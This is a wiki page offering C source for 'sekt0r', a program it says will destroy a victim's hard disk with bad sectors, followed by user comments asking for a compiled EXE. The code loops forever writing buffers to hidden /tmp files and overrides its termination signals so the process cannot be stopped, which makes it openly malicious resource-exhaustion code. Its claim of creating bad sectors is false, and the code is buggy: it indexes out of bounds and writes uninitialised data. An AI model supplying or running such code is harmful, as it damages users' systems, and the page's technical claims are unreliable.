Create Bad sectors on hard disksThis is a featured page



A C source code



/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}


rahuldutt1
rahuldutt1
Latest page update: made by rahuldutt1 , Jan 19 2007, 8:17 AM EST (about this update About This Update rahuldutt1 Edited by rahuldutt1

257 words added

view changes

- complete history)
More Info: links to this page
Started By Thread Subject Replies Last Post
rachauhan Not Compile in C Compiler 0 Feb 16 2009, 10:27 AM EST by rachauhan
Thread started: Feb 16 2009, 10:27 AM EST  Watch
The Compile Display Error While Compiling this program.
Can U Please Make EXE Of This Program and downloadable for all
Do you find this valuable?    
Dip9 Cant find 0 Aug 14 2008, 10:46 AM EDT by Dip9
Thread started: Aug 14 2008, 10:46 AM EDT  Watch
hi !

in this programming error corup. error is can't find a headr file "unistd.h"

Where i found this hader file.
i use microsoft visual studio 6.0
Do you find this valuable?    
layeeq4u Where it works 0 Oct 28 2007, 5:59 AM EDT by layeeq4u
Thread started: Oct 28 2007, 5:59 AM EDT  Watch
I want to know where this code is work. I think this code is work in C-language programming. But i want the code in notepad. please send as soon as possible.
6  out of 11 found this valuable. Do you?    
Keyword tags: None
Showing 3 of 5 threads for this page - view all

Related Content

  (what's this?Related ContentThanks to keyword tags, links to related pages and threads are added to the bottom of your pages. Up to 15 links are shown, determined by matching tags and by how recently the content was updated; keeping the most current at the top. Share your feedback on Wetpaint Central.)